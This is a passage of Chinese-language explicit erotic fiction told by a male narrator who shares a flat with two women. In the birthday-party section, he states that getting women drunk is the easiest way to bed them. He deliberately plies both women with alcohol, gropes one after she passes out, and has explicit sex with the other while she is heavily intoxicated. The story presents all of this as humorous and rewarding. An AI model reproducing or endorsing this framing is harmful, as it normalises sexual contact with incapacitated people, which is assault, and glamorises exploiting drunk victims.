「有喔,那时候才国小六年级,我同学要帮我庆祝生日,我刚出门在路口就遇到你」她出神的、淡淡的回忆着说「你遇到我,啥都没说,拿了一个易开罐的拉环就套在我的手指上,就说『送给你』,然后就走了呦。」「我当时吓了一跳,你这是什幺意思呢?」

我努力的挖掘回忆,可是实在想不起来。

「结果,我后来仔细一看,才发现那个拉环是一个中奖的拉环,上面写着再来一罐!哈!」

「你一定不记得了,可是我把它当作你送我的第一个生日礼物呦。」

「啊?有这样的事喔。」我尴尬的说。

「是啊,你什幺都没送过我,但是就只送我一个拉环戒指,而他,什幺都送了,除了戒指‧‧‧‧」

我知道他说的『他』是谁,一时不敢接口,也不知该说什幺。

停好车,看看雨还在下着,于是要她留在车上看着车。

我很快的取到蛋糕,临出门时看到隔壁店面,突然灵光一闪,我知道我要送什幺礼物了。

「哇!聪明聪明,还会买汽水零食,待会而可以调鸡尾酒喔。」杨英看到我们手提大包小包的东西进门时说。

「那当然,凭我的脑袋宜静的智商,这幺小的事哪值得您大惊小怪啊!」

「呦~~,给你三分颜色,你就开起染房啦!」她怪声怪调的说。

「静妹妹这是他付钱还是你付钱啊?」杨英故意气我的问。

「呵呵,他付钱的啦!」宜静笑着说「也是他想到要买的啦!」

「听到了没!听到了没!」我得意的说「狗眼看人低。」

「妹,你真是不合作,没默契,不好玩。」杨英装出一副超级失望的脸。

例行性的工作先做,点蜡烛、唱歌、许愿、吹蜡烛、切蛋糕,然后送礼物、拆礼物。

杨英送的是一瓶高级香水,而我的是一盒首饰。

「哇!大雄你大手笔喔!送了这幺贵的东西。」杨英惊讶的说。

没错,我送了一套完整的首饰,项鍊、耳环、手鍊到脚鍊,整整花了我半个月的生活费。

「可是,不对啊!怎幺没有戒指?」杨英说。

「嘿嘿,那还不是全部嘛。」我从我的口袋掏出另一部份。「另外一半是这个。」

一罐易开罐!

「喂,大雄~你搞什幺啊?」杨英问。

「你不懂啦!」我说「现在这个饮料有开瓶送礼喔!其中有一样就是金戒指喔!」

「啊?你‧‧‧‧」杨英似乎傻了。

「哇!哈哈哈‧‧‧‧」杨英接着狂笑。「你真是怪人一个,没钱买了就说嘛,装阔,哎呦~~快笑死了,哈哈哈‧‧‧‧」

不过,我知道宜静知道我的用意,因为她拿着易开罐发着呆。

「还有喔。」我又说。

「还有?」杨英止住笑问道。

「要是她真的拉中金戒指,我就负责她的下半辈子,如果没人要就嫁我啦!」我超级正经的说。

「哇哈哈‧‧‧‧」杨英笑得更厉害了「哇,受不了了,认识你这幺久,现在才知道,你真是个怪胎耶!还是个冷面笑将!这种话你这幺能这幺的正经八百的说出口。哈哈‧‧‧‧」

「妹,快点!拉开看看!要是真的中了金戒指,我看他怎幺办!」

「不!」妹阻止杨英来抢易开罐「我不开!」

「啊?」杨英楞了一下。

「万一真的中了‧‧‧‧我该怎幺办?」宜静说。

「ㄜ‧‧哇哈哈‧‧‧‧」杨英这下快笑岔了气了「听到没‧‧‧我妹她‧‧‧她不敢嫁你‧‧‧不敢嫁啦‧‧‧‧哈哈‧‧‧‧」

「嘿嘿嘿,不然你开!」我又说「要是中了换你嫁我!」

「哇~~救命喔~我才不要。」

『嘿嘿,我老早就想好了,宜静是一定不会开的,那我这一说妳也不会开,这样我说的话就不用负责了!』我心底暗暗偷笑。

接着我搬出调酒的工具,一个超大玻璃海碗、一根长汤杓,当场调了一大缸子的鸡尾酒来。

谁都知道,把女生灌醉是最容易把女生骗上床的了,我酒量不错,有此机会哪会放过,频频对她们两个灌酒,东劝宜静多喝一口,西跟杨英乾一杯。那个头戴甜甜圈的老学究,闻到酒味,早就醉得东倒西歪了,而长角的小家伙可乐了,酒对他来说正是兴奋剂,愈喝他是愈高兴。

『老闆啊!快快在灌一静一杯吧!你看她,在两杯,两杯她就一定醉倒了。』长角的小家伙说。『不~~可~~以~~啊~~』似乎好像可能是那个老学究的声音吧,不理他!果不其然,没两下子,宜静的脸就红通通的,最眼惺忪好可爱!另一边,杨英说话也颠三倒四,前言不接后语,还频频找我跟宜静乾杯。不过我也好不到哪里,喝了这许多酒,一个人要灌两个女生还是有点难度的,很快的第一缸鸡尾酒喝光了,杨英又开了第二瓶要我再调一缸。

『太好了!这杨英真是太帮忙了!一瓶灌不醉两个,她还多準备了一瓶』小家伙又说『这叫做自投罗网啊!待会儿还不是一箭双鵰,来个双响砲,恭喜主人啊~』「喝啊喝啊!宜静再喝一杯吧!」杨英说。「喔,好...」宜静已经在醉倒边缘了,不用再喝也撑不了多久了。「乾杯!」杨英又跟我们乾了一杯,宜静跟我都跟着喝了一杯。「好耶!好高兴啊!」杨英算是最兴奋的了。而我则是冷静的等待机会。「唔~~」宜静果然第一个倒下去。「唔~宜静醉了喔。」杨英说「大雄,你把她抱回去睡觉吧!」

「喔,好。」得此机会,我当然不会放过。宜静趴在桌上,我从后面穿过腋下要抱起她,我趁杨英没注意,当然是顺势就是一把抓,满手握,好好的捞它一把。跟上次黑暗中比起来,这时候的宜静全身发热,隔着薄薄的睡衣强力的发送出来,又热又软,好棒的感觉啊!跟上次一样的香味,髮丝在我的鼻端撩拨,熟悉的味道,说不出的好闻。扳过她的身体,刚刚被我抓过的酥胸,还隐隐留有几个红指印,透过低开的领口,我看见了自己方纔的杰作,偷瞄一下杨英,她应该是没看见。

我才把宜静抱回她的房间,刚刚在床上放好,杨英的叫声又起,害我还来不及多吃一点又要出来应付她,看来不先把她也给灌醉是难以得逞的。「喂,大雄,你别在里面偷吃我静妹妹的豆腐!小心我海K你喔!」杨英说。「呵呵,我哪敢啊,你是大姐大,我哪敢偷吃你妹的豆腐啊。」我陪笑的说。「不敢?你骗谁啊!」杨英邪恶的笑笑「那刚才为什幺抓我静妹妹那一把那幺用力啊?」「啊!」被她看到了喔!「啊什啊?男子汉大丈夫,敢吃就要敢认。」杨英说。

「喔,是啦是啦!」我悻悻的说,看来这下很难吃到好处了。「你眼睛利害,再来喝一杯吧!」我试图转移注意,看能不能把她灌醉。「嘿嘿嘿,你很贼喔!」杨英笑着说。「你别想把我灌醉了,好打我静妹妹的主意!」她又说。真是的,刚才看来她已经也醉得差不多了,现在怎幺又这幺精。「不行不行,我也快不行了,不能让你得逞!我想想办法...」「是是是,你慢慢想,先喝一杯再想吧!」我说。「唔,好,你也喝」她又喝下一杯。「啊!有了!

这样看你还有办法欺负我静妹妹吗!」杨英突然说。「啊?什幺办法?」我被她突如其来的话吓了一跳。「就是....呵呵...你过来一点...我跟你说...」我小心的靠过去。真的要小心!酒醉的女人也是一种可怕的动物,尤其是还没醉到睡着以前。

「唔」「嗯」突然间,杨英欺身过来,一下子就把我推倒在地板上,然后趴在我身上,嘴巴对準我的口亲了下去。「你!?」「就是这个办法!」杨英得意的笑着说「我先把你给搾乾,看你怎幺还有精力找我静妹妹!」

天啊!酒醉的女人果然是危险的动物,尤其是杨英这种常常似乎少根筋的女人,酒醉之后想出的事情竟是这幺的匪夷所思,难以置信啊!但是,怎幺这幺合我的心意啊!上帝啊!太谢谢您啦!「啊门!」我悄悄的说。

『主人啊!不是上帝啦!是我的总管大人撒旦啦!』长角的又出来邀功『啊~~』『干!这时候谁理你是谁的功劳,看我一脚把你踢到北极去滑雪,死冷场高手』「什幺门?」杨英迷迷糊糊的说。「喔,我是说,我们去你房裏关起门来做吧!」我说。

「是吗?...你有说这幺多吗?...」「是啦,你说好不好?」我说。「唔」她不置可否,又对我吻了起来,趴在我身上的香软女体来回磨蹭,已有五分醉意的我哪能受得了,当场翻起她的睡衣,双手不客气的到处抚摸揉捏起来。她主动的做起身脱去睡衣。天啊!她居然里面什幺都没穿!刚刚我就看出来她没穿胸罩,没想到,下半身也是一样空空如也。她的肌肤原本就蛮白的,现在喝了酒之后更是添上了一抹红晕,在我的醉眼裏简直就是会发光的莹玉,双手一摸,细緻的皮肤带点少女特有的似油非油的滑嫩,轻轻一柔指尖划过她乳首一点。「啊~」她立刻发出一声愉悦的叹息。我轻轻揉捏双乳,乳首在我指缝间突出,我一边揉一边用指头轻夹那两粒突起。

她挺起上身往后仰,享受着我的温柔攻势。

另一方面,她前后移动着她的臀部,最私密的私处来回的在我的老二上摩擦,隔着薄薄的运动短裤,高挺的老二似乎是半坎入她的祕穴似的,隔着布,她私处的高热毫无阻碍的透了过来,更加刺激我的身经。「来吧。」她轻轻的趴在我耳边说。「嗯」

我把她放倒在地毯上,迅速的脱光短上衣、短裤以及内裤。重新跪在她的两腿之间,双手磨娑她那双健美修长的双腿,眼里看的是她丰满的胸部,耳中已经听到她的轻微喘息声。酒,果然是最好的春药!我不待提示,腰一挺,老二就顺利钻入她那湿润已极的肉穴。好棒的感觉!热、湿、滑、紧,这是被肉穴紧紧包覆的感觉,至高无上的感觉。「啊!」真是值得讚叹上帝的杰作,可惜现在没空讚叹。我先是徐徐抽出然后又徐徐挺入,好好的感受着与合体处的每一丝一毫的最真实,最刺激,最细腻的感觉,每每在抽出时,可以隐隐感觉到一股吸引力,吸住我的老二,不让她退出,而挺入之时,却又是有着一股阻力,让老二必须推开片片嫩肉,才得以登门入户。「嗯~~」杨英微微发出呻吟声。

『滋~~唧』接触的部位随着每次的进出,发出一种很有趣的声音。「呵呵...」杨英笑出来「好奇怪的声音喔~~」这时候的她,完全没有心防,说起话来比起平常还多了三分黏腻与慵懒,软绵绵的拖个尾音,真是让人听得热血沸腾,眼眶充血。我忍不住开始加快动作。『噗滋~~唧滋~~噗滋噗滋~~』加快的动作带来不同的声响,间歇会有空气进出的声音,发出像是放屁的声音。「哈哈...哈好有趣喔~~」酒醉的杨英,猫咪般的声音,更加的让我兴奋。我把速度提高到最高。

「哼~哼~~喔~喔~~哼~~」杨英她不再是嘻笑相对,取而代之的是一声声的呻吟,以及双手用力紧抱,在我的背后用力的抠抓。她的双脚缠上了我的腰,把她的下体更完全的暴露,更容易与我贴近,而我当然是更用力、更快速、更深入的与她接触。『趴滋~趴滋~趴滋~....』不再只是先前的肉柱进出小穴的声音,现在还有每一下我用力挺入,与她的肉体用力冲击的肉博声。难怪从前人家形容A片叫做"妖精打架",原来这样跟打架还真像,一下一下的肉与肉的冲击,跟打架也差不了多少。

「为什幺?」这种问题我倒真的没想过,老公,多遥远的名词啊,男朋友还差不多,我是很愿意当她男朋友的。「这个嘛...你不用知道。」她的神色有点黯然。「不过」她突然又兴奋的说「现在可不能这样放过你!」她一翻身,竟然用嘴巴含着我的分身,认真的吸吮起来。「我要搾乾你~~」黏腻的声音,听得心好痒。「我看...A片都是..这样..对不对...」她一边吸一边口齿不清的说。「嗯...是吧...」我讶异于她怎幺还不醉倒,还记得要搾乾我。

「哇哈哈,它长大了耶!」真是不负美女所望,小弟弟又再度长大成人了。「来吧!」我说,这次我不再客气,把她扳过来趴在沙发上,分开她的两脚,一挺腰,长枪直入,直擣蜜穴。有了前一次的刺激余韵,她的肉穴滑溜异常,当然这其中还有我前次留在她体内的精液,所以滑溜得很。我双手扶着她的腰,配合我的腰部动作,一下一下的拉过来顶回去。『趴滋趴滋趴滋....』我一开始就全力冲刺,一下下的冲击在她的美臀上,除了声音,那一下一下的波浪传动,往前传送,然后丰满的双乳随着这一下一下的波动,前后摆荡。『叽.叽.叽.叽...』由于我冲击得太用力,连沙发都跟地板发出磨擦的声音,反而是杨英这次倒是没有啥声音。低头一看,原来她咬着沙发的布哩,难怪没声音。

「哼~哼~~」说没声音是假的,只是这声音是从鼻端钻出来的,细细小小的,好似猫咪在呜咽。「咦?!」我讶异的发现,杨英的肉穴又再一次次的收缩着「好..好棒..」我讚叹的说。真的是好棒的感觉,比起刚刚它用嘴巴吸我的老二还好!整个肉柱被蜜穴仅仅的束起来,进亦难、退亦难,但是进时如将军入杀敌阵,有种破敌杀出的英雄气概,退时万般不捨,百般依恋,紧紧缠绕,纵是英雄亦难免气短。我保持着抽插的动作,仔仔细细的体验着这美好的感觉。

蜜穴的收缩是一下紧一下鬆的,因此有时候刚好再收缩时插入,那就很有破门杀入的感觉,有时以为会有重重阻隔时,却又刚好门户大开,喜迎佳宾。有时候退出时它是似有若无,飘邈难测,有时却是千丝万缕缠绕不离,强力吸附在老二身上,彷彿整个人都要被我的老二给拖了过来。万般滋味,点滴入心,我真是爽到最高点了。仔细品嚐,当然刺激也就加倍感受,因此,很快的,我又再次把我的一切精力,完全毫无保留的注入杨英体内。我抱着她,趴在她的背后,双双倒在沙发上。分身依旧不捨的沉浸在杨英的体内,享受着绝妙的余韵。

不过,一个人灌两个女生酒的确有难度,加上一阵运动后,酒意上涌,我把已经醉倒的杨英抱回房之后,来到客厅,还来不即完成我一件双雕的大业,我也睡着了。迷糊中似乎有人把我拉起来,半推半拉的把我弄回房间的床上,还帮我盖好被子,只是,酒醉的我是任人摆布,完全不知情了。

自从与杨英在客厅上演一次活春宫之后,我那隐藏二十年的好色因子开始活跃起来,脑细胞加速运转的结果,深深的体验到"昨非今是",回想从前傻傻的等着美女投怀送抱,深深觉得以前的我真是蠢到家了,要不是上帝眷顾,送来杨英开启了我的光明人生,我恐怕到现在还是个老处男哩。也因为嚐过甜头之后,急欲再次一逞兽慾的状况下,才能让我有了以上的体认。

说真的,要等美女自动送上门,那是有钱有闲加上长得超帅,嘴巴又超甜会哄人的专利,哪轮得到我这种人呢?因此我也常常就这个问题思考着,杨英到底是看上我哪一点?

我长得既不帅,人也没钱,更别说我的烂口才,根本不会哄女孩子,我上下左右、前前后后、里里外外全部检讨过十来回,还是不知道我有哪一点可以吸引杨英。我最后还是只能放弃去推想,告诉自己说:『喜欢是一个人不需要理由的』。

这天,开完一个会之后,心情颇差,因为刚刚被教授钉得颇惨的,回到公寓洗过澡,一肚子闷气无处发洩很是难过,于是开启电脑,上网打个游戏吧!赫然发现原来隔壁的杨英也在网上,于是丢个水球给她,邀她一起对战。

「英,来场AOE吧!」我说。

「好啊,放马过来」她回我。

接下来当然二话不说,开战啦!

可是不打还好,欲打愈有气,明明是我的徒弟,可是今天怎幺打怎幺输,打得我快昏倒了。

「oh! God! 你什幺时候变得这幺厉害,都打不赢你」我送讯息给她。

「小case啦!你笨嘛!」她居然说我笨!靠!不给你点颜色瞧瞧不知道我的厉害。

「那是因为没有诱因啊,没冲劲」我不知为何打出这句话。

「喔?要什幺诱因?」

「比如说,要是我赢了,晚上妳过来陪我啊‧‧‧」原来是好色因子的蠢动,男人只要色心一起,什幺话都敢说了。

「喔?陪你唸书吗?」

嘿嘿,来这套,你会不知道我的意思?骗鬼啊。

『报告主人,鬼才不会被骗哩,这幺浅的技俩‧‧啊~~』好烦人的黑家伙,不用你跟我报告,给我有多远死多远吧,吃我的无影脚!

「唸书?是啊,唸健康教育嘛」我回她。

「唉呦!你好色喔‧‧‧」

「色?还好啦,比妳差一点。」这话倒是不假,从我第一次见到她开始,每次都是她主动的。

「我?我哪有色」

唉,不承认是正常的,会承认才有鬼哩,我想谁也不期望她会承认吧。

「是啦,你最清纯了」

「哼,你好假喔」

「嘿嘿,就这样说定了喔!」

等了一下子没有反应,我正要为自己的鲁莽后悔,没想到‧‧‧‧

「好,就这幺办!」她居然回我这句话。

「好极了!来战吧!」

接下来,我可是卯上了十二万分的集中力跟意志力,把我所知道的技巧绝招全都用上,以超强的韧性,火力全开。

滑鼠在桌面上狂奔飞舞,左手五指翻飞,拚命敲着热键,恨不得老二长常一点,也当一跟手指用,看看能不能加快反应。

不过真是奇怪,不知道是我最近程式写多了缺乏练习,还是今天被教授钉得精神不济,连带的战斗力都降低许多,否则怎幺不但是打不赢,现在可是一路咬牙苦撑,几度战败边缘如果不是靠几座炮塔防卫住了,加上她的攻击也到了极限,我老早就吞下今天的第八败绩了。

苦苦支撑,度过了四五次危机之后,我一肚子的气更是难受,色慾薰心,决定做出最后的一击,放弃所有防守,所有军队全部一次派出,连几十个农夫也一次冲出,冲到对方的核心盖起了三座炮塔,利用我炮塔攻击距离远的优势,再她的中心地带给开了一个洞。

这样孤注一掷得烂招居然凑效了!她本来稳佔上风,一路追打我好惨的优势,被我这意外的怪招给搞得大乱,待要重新生产军队时,一堆兵营马廄的都被我的砲塔给轰了,剩下的军队又不够穿越我原先的防线,农人死光光,至此胜负已定,我的烂招居然让我绝地大反攻了!

「嗯,你赢了」她丢过来这一句。

「嘿嘿,知道厉害了吧!」

「哼,算你狠,农民全出,本部放空城你也敢」

「嘿嘿,置之死地而后生嘛!」我说。

「要不是我疏于防守,你这招也不成的,下次,下次我绝对不让你得逞」

「嘿嘿,我管你下次勒,今天晚上‧‧‧‧」我色心大起。

「知道了啦」她隔了好久才丢回这句话,然后就下线关机了。

接着听到隔壁的房门打开,接着大门也开了,她居然出门去了。

这是干麻?就这样?不是该过来陪我吗?唉‧‧‧‧‧我忘了,不是有人说过:说话不算话是女人的专利。我怎幺忘了呢,看来今天晚上是没有好康的了。

我又去洗了个泡澡,还加入了上次杨英给的温泉包,好好的在家享受一下泡温泉的乐趣,顺便看能不能泡熄我的慾火,泡完出来时宜静已经回来做好晚餐。

「哈哈,还是宜静最好了,我肚子刚 好饿了,你就来解救我了」

「嘻,你别这幺一副饿死鬼投胎的样子好不好,去拿双筷子啦」她捏起我的『人肉随身方便筷』--手指,要我去拿筷子。

「哇!好痛!」我吃痛叫着「放手啦,我去拿啦!」

「哼哼,看你以后还敢不敢再这样用手抓」她得意的说。

「吼~你好狠喔,你看都肿起来了」我装痛。

「真的喔」她拉起我的手来看。「啊!」

我趁她看我的手,一指点向她的鼻尖,她吃惊大叫,头立刻往后仰。结果,重心不稳整个人往后倒下。

「哇!」「好痛」

我赶紧扶她,没想到她因为重心不稳而手臂乱挥乱抓,结果一拐子就顶到我胸口,手掌还顺势给我一巴掌。唉~~真是的,人真的不能做坏事,色心起,惹得杨英不理我出门去,逗逗宜静更惨,一拐子加一巴掌。

「对不起,对不起」宜静赶紧揉着我的胸口跟脸,满口的对不起。「我不是故意的啦!」

「唉~~你不是故意的,我是啊」我无奈的说「是我自作自受,罪有应得啊」我装出一副可怜样,博取同情。

『喀啦』大门开了,杨英回来了。

「嘿,有饭吃喽,谢谢静妹妹」杨英一回来,理都不理我,逕自添饭吃了起来。

「对不起啦,晚上我会补偿你的」宜静偷偷在我耳边丢下一句悄悄话。

「轰!」我脑门似乎被雷击中了!宜静说晚上要好好补偿我是什幺意思呢?难道说是我的机会来了?

我愈是想愈是可能,什幺样的补偿非得要晚上不可呢?想当然是不能让杨英知道的补偿喽,既是这样,那幺也就是说可以来个『炒饭』(注)。

趁着添饭的机会,偷偷跟宜静咬耳朵。

『妳刚刚说的补偿是什幺?炒饭吗?』我低声说。

『你说呢?』居然不正面回答我,看来可能性已经高达80\%了。

「可以吃炒饭吗?」我大声的说。

「大雄你也太刁了吧」杨英听到骂我说「有饭吃就好了,还要吃炒饭,静妹妹别理他,要吃叫他自己炒」

「喂~杨英啊,又不是要妳炒,妳管那幺多。」我说「宜静拜託啦」我意有所指的说。

「好啦帮你炒啦」宜静脸红红的说。

『咻~~碰帕』我的心里放起烟火了。

『主人啊,不要忘了喔,杨英说晚上要跟你嘿休嘿休喔,你今天惨了喔!强碰啦』

讨厌的小家伙,话不好听,说得却是实情,这下可惨了。

『主人啊!』白衣服的老学究好久没现身了『你可千万别想要一箭双鵰喔,上帝说:好色是‧‧‧‧啊 ~~』

『谢谢你了老家伙,你教了我人生的大道理了,去跟上帝邀功吧!我就用无影脚帮助你重回上帝的怀抱吧!看脚!』

哈哈哈,就是这主意啦,一箭双鵰,一箭双鵰啦!我上次的未完成大业,这次有机会啦!哈哈哈‧‧‧‧

这一顿饭吃得真是愉快,左看看宜静,她立刻低头猛扒饭,又看看杨英,她倒是很镇定,一点也看不出有何异状。

不过要是两人同时来,恐怕事情会搞砸吧!想到这一点,我这才真正担心起来,千万不要一箭双鵰没实现,反而一点甜头也吃不到。这该怎幺安排呢?

一前一后该如何错开呢?宜静那幺害羞,一定不能跟她明约时间,杨英又是那副样子,跟她定时间?别傻了,直接搞砸。

现在杨英跟宜静都在客厅看电视剧,我则是一个人躲在房间里。

她们该不会都在等对方先去睡吧?这幺晚了,两个都还在硬撑着。

我左想右想,想了不下十几条计划,但是没有一条确实可行。时间愈晚,我愈是担心,竟然可以急出一身冷汗!

正在不知如何是好时,客厅传来声音。

『咦,好晚了,我要去睡觉了』是杨英率先提出要睡觉的提议。『你是不是也该睡了?』

『哇,真的好晚了』宜静很惊讶的声音说着。

『快去睡吧,晚安喽』

『嗯,晚安』

不一会儿,客厅变静悄悄黑漆漆的了。

『碰‧碰‧碰‧碰‧』我居然可以清楚的听到自己的心跳声,是紧张吗?是吧,我一方面担心着两人会强碰,另一方面却又期待着看谁会先来到我的房间。

『哗啦,哗啦‧‧‧』隔壁传来杨英洗澡的水声。

看来,杨英一时不会过来了,那宜静呢?她会不会先过来了?要是她来了,杨英又跟着来怎幺办。

我愈等愈是心惊,真是来也不是不来也不是。

我想起一个故事,故事说:有一个人深夜在游蕩,遇到了警察,警察问他,这幺晚了,你为什幺不回家而在外面游蕩?那个人说,因为我怕回去了会被我太太骂。警察又问,你太太为什幺要骂你呢?那人说,因我我太晚回家。

真是进也不是退也不是,现在我愈耗下去,危机愈大。几度想要开门出去跟一个人取消约会,但是却又怕另一个没有睡的发觉,不只两头落空,恐怕以后还会成为『拒绝往来户』,从此别再想一亲芳泽。

有了!打手机吧!杨英在洗澡,那就打宜静的好了,跟她取消吧!可是心底深处却又深怕跟宜静这万年难得的机会擦身而过,几度犹豫,还是打吧!

但是!电话不通啦!她习惯回来后就关机的,我怎幺忘记了呢。惨了,要是她现在进来了,我连打电话给杨英延后或取消的机会都没有。

杨英似乎洗完澡有一会儿了,要是她先过来了也不稀奇,她一向是蛮主动的。不过要是她先来了,那静妹妹绝对不会再进来的,反而要是静妹妹先来了,杨英再来,搞不好还可以玩玩3P!

真是劣根性深植,这时候了居然还可以幻想可以3P,真是无可救药了。

『扣扣扣』来了!是谁过来了?(注)『炒饭』一词为台湾综艺节目中,『做爱』一词的代名词。

在开门之前,心中转过无数念头,到底是谁来了?宜静还是杨英?还是两个一起来了?不可能。如果是杨英先来了,那宜静还会来吗?如果是宜静,那他会给我什幺补偿呢?会炒饭吗?要是杨英跟着来呢?3P吗?......

这幺多的念头,当然有不少是癡心妄想,胡思乱想,甚至是奇思怪想荒诞不羁,我伸手去开门的那一瞬间,手竟然有些抖。

「大雄...」是宜静。

「宜静,妳来啦....」

「嗯」

接着安静了三秒钟吧。

「你...不让我进去吗?」宜静低声说。

「喔,是是..请进,请进」我慌忙的退开,腰还碰倒了一张椅子。

「你小心点!」宜静说。

「是,是」我手抚着隐隐作痛的腰,狼狈的说「你,请坐,请坐。」

椅子在我屁股后面,宜静就坐到了床上。

「你..还在唸书吗?」宜静问。

「嗯,是啊...也不是,我是在等妳」

我直觉的回答是,可是我一想又觉得不对,要是她顺着话说:那我不打扰你看书。那我不是白高兴一场了!因此忙着改口。

「我是一边看书一边等你」我说出最终的版本。

「呵呵,你在紧张什幺?」宜静说。

「紧张?没..没有啊。」

「还说没有,你一紧张说话就会有一点点的结巴,还有你的手在摸头髮」

「啊?真的喔,妳怎幺知道?」我自己知道,我紧张时偶而会摸摸头髮,没想到宜静也这幺清楚。

「嘻..,我当然知道了,我可是你九年的同班同学耶!」她笑笑说。

「喔,可是为什幺这幺多同学只有你知道呢?」我不自觉的就问出这句话。

「这...」宜静红着脸没有回答。

我有点后悔这没经过大脑的一问,但是这一问,我却也才了解到,原来宜静对我的注意远远超过我的认知。

或许,宜静老早就喜欢上我了!

我这一想,心中倒是飘飘然起来,嘿嘿,没想到我这幺有魅力喔,原来有人从小就暗恋我耶。

「你会热吗?脸好红。」我故意说。

「有吗,有吗?」宜静这下脸更红了。

「天气这幺热,你还穿长袖,我帮你脱了吧」我做势要帮她脱衣服。

「啊!别...别脱,我...」她手紧抓着衣领,红着脸,真是好可爱好可爱。

我还是靠了过去,爬上床坐在她背后,她看得出来异常的紧张,头也抬,目光低垂,我坐定之后伸手抓向她的肩膀。

「妳怎幺这幺紧张,我帮你按...按摩..一下」我原本是促狭,没想到我伸手帮她按摩肩膀,却是发现了她脸红紧张的秘密。

宜静里面没穿内衣!!

要是刚才我就帮她脱下衣服,那就....嘿嘿。

我这时候发现,刚刚没仔细看宜静的穿着,原来她穿的是一件白色丝质的睡袍,丝质光滑微亮的质地,加上宽鬆的样式,让我一开始没有发现到,她居然没穿内衣。

我轻柔的帮她按摩着,享受着指间触电般的感觉,很难以形容,睡袍丝质的光滑感触,底下却是饱含女性肌肤柔而有弹性的触感。

「你记得吗」宜静说「这是妳第二次帮我按摩喔。」

「喔,是啊」我想起来,国中时候,有一次两家一起约去烤肉,在溪边,她因为低头烤肉,烤得很久,因此抓着自己的肩膀跟脖子时,我那时也没多想,就帮她按摩肩膀脖子,没想到,倒是宜静紧张的猛的挺起身来,后脑一家伙撞得我鼻血直流。

「那次真的很对不起」

「喔,没关係啦,谁叫我笨嘛,连男女授受不亲也不懂」我无奈说。谁知道当时我是不是有其他意图,连我都忘了。

「不是的...」宜静用几乎听不到的声音说。

「嗯,什幺?」我问。

「不是的...你不懂..」她用更低的声音说。

我没再问,因为我已经是精虫蚀脑、色慾燻天了。我帮她按摩的手已经偷偷的,一吋一吋沿着她的背的往下滑,一路抠抠摸摸的,最后我整个抱住她的腰。

「妳...要如何..补偿我啊?」我在她的耳边轻声说。一股清淡的香味,钻进我的鼻腔,佔据着我所有的味觉。

宜静的香味,有点熟悉却又陌生,比起杨英的味道,宜静的味道很清,淡淡的,但是很吸引人,一闻再闻而不腻。

很奇怪,这时候的我,居然会想起杨英,还拿宜静的味道跟杨英的比。

「呵,好痒」宜静在我怀里扭着,我从后面抱着她,如果不是她双手抱胸,我难保不会再一路向上,往上攀登一番,如今我只能捏捏腰,摸摸腿,闻闻她的香味。

不过,身为男人,怎幺可以就这样罢休呢!不有所行动,搞不好读者都还以为我是人妖哩。

我决定要行动升级!

我首先往上试探了一下,可惜宜静双手抱得紧紧的,一点缝隙也不给我插。我又捨不得放开抱在怀里的宜静,改变策略由上往下攻坚(尖?!),于是我在上攻无门的情况下,掉转矛头(毛手毛脚的指头),往另一个方向尝试。

我首先在她的小腹按啊按,嗯,她没意见。

接着我再往下探,啊,不是那个长毛的啦!是大腿啦!

女孩子的大腿对于很多男人来说是深具吸引力的,尤其对我来说,穿着短裙露出白皙光滑的大腿,又或是穿着丝袜而腿型漂亮的女孩子,简直是可以烫伤我的双眼的超热画面。

而现在用手摸,那更是让人兴奋至极。我在宜静的颈子轻轻的吻了吻,趁她分散了注意力,双手快攻越过小腹,直接来到她的大腿上。

「啊!」宜静极其小声的惊呼。

我很贼的趁机猛亲她的耳垂、脖子跟肩膀,在她耳后呵气,痒得她顾不得其他,猛闪猛躲。我当然不客气的给她好好摸个够、摸个爽。

女人真是很奇怪的动物,她们的轻重缓急的判断真是有点给她怪怪的,例如,有一天,要是一个女人的洋装,下车时不小心,突然被车门给夹着扯掉了,你猜她会怎幺反应?

答案是:很多女人会先遮住胸部!第二反应才是遮着下体。

不要问我为什幺,因为我也不知道,据说东西方女孩也有不同反应,那我就不了解了,你要是有兴趣,你可以自己去调查看看,我现在哪有空理你啊。

我不安分的手,早就偷偷摸摸的趁着她不注意,又或者该说她只注意上半身时,由大腿外侧,一点一滴的滑入内侧。

「啊!你...」宜静惊呼。

因为我已经再此时成功登入,不是,是不小心滑入宜静的桃园禁地,稳稳当当的贴着她的洞口了。

她赶紧分出一支手来抓我不乖的右手,但是我右手启会轻易退缩,它还是忠实的罩在它该在的地方,反而是她这一抓带动我的右手,顺势来个小小的摩擦,给她更大的刺激。

不过这不是重点,重要的是我另一只手!

趁她上空防御减弱,我当然不会错过这机会,以最快速度回头"攻山头",当过兵的都该知道啥叫攻山头吧。

五指呈碗状,直接空降!

『靠!』我心中暗干!怎幺宜静的一只手居然还可以罩住双乳!

空降失败,改成迂迴战术!右手稍稍动一动分散注意力,左手转成『见缝插针』策略,趁她只有一手防备,终于得偿所愿!钻入了缝隙,攻上山头,饱饱的握住其中一边,接着另一边在她弃守之下,很快的也陷落了。

直到这一刻,我才真真正正的攻破宜静的心防。

其实也没什幺心防吧,应该说是那一点矜持,或是说解除她的犹豫。反正,她本来就有打算给我吧,不然她何必在此时来找我呢,她反悔不来,我也不能杀上门去,强行徵收补偿吧!

宜静的胸部抓起来比我想像中的大,而且硬挺,以前偷看时,看起来只有B罩杯吧,但是现在抓起来却不是我一手可以掌握的大小,应该会有C吧。

比起杨英的是小了一点点,但是却是很有弹性,尤其是那突出的一点,似乎是抽筋一般,紧紧缩着,周围都皱了起来,硬硬的,很特别。杨英的虽然也是会硬硬的,触感类似,但是宜静的却是皱得很可爱。

宜静似乎放开了,反手往我身上摸索。这一摸,我倒是察觉了,宜静似乎不太有经验,比起杨英,这手可真所谓是不知道如何摆放,摸也不是放也不是,生疏得紧。

不过察觉出这一分生疏的我,却只有更兴奋,这大概是男人的劣根性吧!我又开始幻想,宜静该不会是第一次吧!

不过,想想是不太可能啦,前男友可以让她闹自杀,已经关係这幺深,怎幺可能还是第一次。

想归想,动作可不受影响。

我跟她互相脱了对方的衣服,腼腆的她有点不之所措,我虽然经验也是不多,不过我是男人!男人是不会对这种场景有所犹豫的。

我把她安置在床上躺好,跟着躺到她身边,一手搂着她,一手在她身上探索,不时的亲亲她的耳朵、脖子、嘴巴,舔舔她的胸、背、腰腹,最后,我把所有的活动集中到所有男人从出生后就急着想再次钻回去的地方。

我用手指拨开捲曲的毛髮,再微微分开柔软的贝肉,露出她最私密的洞口。我温柔的用我的舌头舔着。

她身躯颤抖、双腿微夹,洞穴一阵一阵收缩,渐渐的洞口被她泌出的蜜汁所淹没,因为太滑润,手指撑不开洞口了,我知道,该谁上场了。

「宜静」我说「我...」

「嗯」宜静微微点头。

「嗯」

